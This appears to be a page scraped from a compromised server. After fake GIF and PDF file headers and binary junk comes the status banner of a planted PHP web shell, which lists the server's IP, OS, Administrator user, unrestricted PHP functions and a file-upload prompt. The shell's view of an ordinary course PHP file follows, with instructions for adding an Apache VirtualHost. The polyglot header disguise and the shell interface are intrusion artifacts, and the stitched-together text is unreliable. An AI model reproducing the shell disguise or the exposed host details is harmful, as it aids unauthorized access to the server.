GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/Setup/Apache/ |
Upload File : |
<? // Setup/Apache/Apache_Installation.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. include('application.phpinc'); include('common/InstructorInfo.phpinc'); $dataFolder = formValue('dataFolder',''); $courseNumber = formValue('courseNumber',''); if ($courseNumber == '') $courseNumber = 'CSTxxxx'; if ($courseNumber != 'CSTxxxx') { $courseNumberComment = ''; } else { $courseNumberComment = ' where <b>CSTxxxx</b> is the number of the course you are taking'; } $courseTitle = formValue('courseTitle',''); $_SESSION['courseNumber'] = $courseNumber; $title = "Apache Directory Configuration"; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu= 'JimMartinson/Setup/Apache/Apache_Menu.phpinc'; include('common/pageHeader.phpinc'); $sectionTitle = $title; include('common/sectionHeader.phpinc'); ?> <br> <?=$title?>: (part 3 of 3) <br>Configure Apache to use the <b><?=$_SESSION['userDefaultDrive']?>:\<?=$dataFolder?></b> directory. <? include('common/Browser/Browser.phpinc'); require('Gradebook/EvaluationSubmission_BEGIN_folders.phpinc'); ?> <br> <? #d_Var('$defaultDrive',$defaultDrive,'d'); #d_Var('$dataFolder',$dataFolder,'d'); #d_Var('$apacheFolder',$apacheFolder,'d'); ?> <ol id="main" class="count"> <li>Run WebServices and <b>stop</b> Apache if it is running.</li> <li>Open the <b><?=$_SESSION['userDefaultDrive']?>:\Apache24\conf\httpd.conf</b> in a text editor. <br>I highly reccomend installing TextPad and configuring it for Apache conf file highlighting. <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Notes/">See the notes</a> for instructions. </li> <li>Add the following lines to the end of the httpd.conf file and save it. <code><pre><VirtualHost *> DocumentRoot <?=$apacheFolder?> ServerName localhost ErrorLog logs/localhost.Error.log CustomLog logs/localhost.Access.log common <Directory <?=$apacheFolder?>/> Options All +MultiViews AllowOverride All Require all granted </Directory> </VirtualHost> </pre></code> </li> <li>Use WebServices to <b>start</b> Apache.</li> <li>Bring back up the browser and refresh the page (F5, <u>View</u> <u>R</u>efresh, or <u>View</u> <u>R</u>eload). <br>You should get a page similar to the one below. <? BrowserBegin('localhost','localhost',764); ?> <img src="Apache_Directory.png"> <? BrowserEnd(); ?> Apache is serving up an index of what is in the <b><?=$dataFolder?></b> directory. </li> <li>Go back to the WebServices window and hit <b>A</b> to stop Apache and <b>X</b> to exit WebServices. </li> </ol> That's it for Apache directory configuration. You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window. <? include('common/sectionFooter.phpinc'); include('common/pageFooter.phpinc'); ?>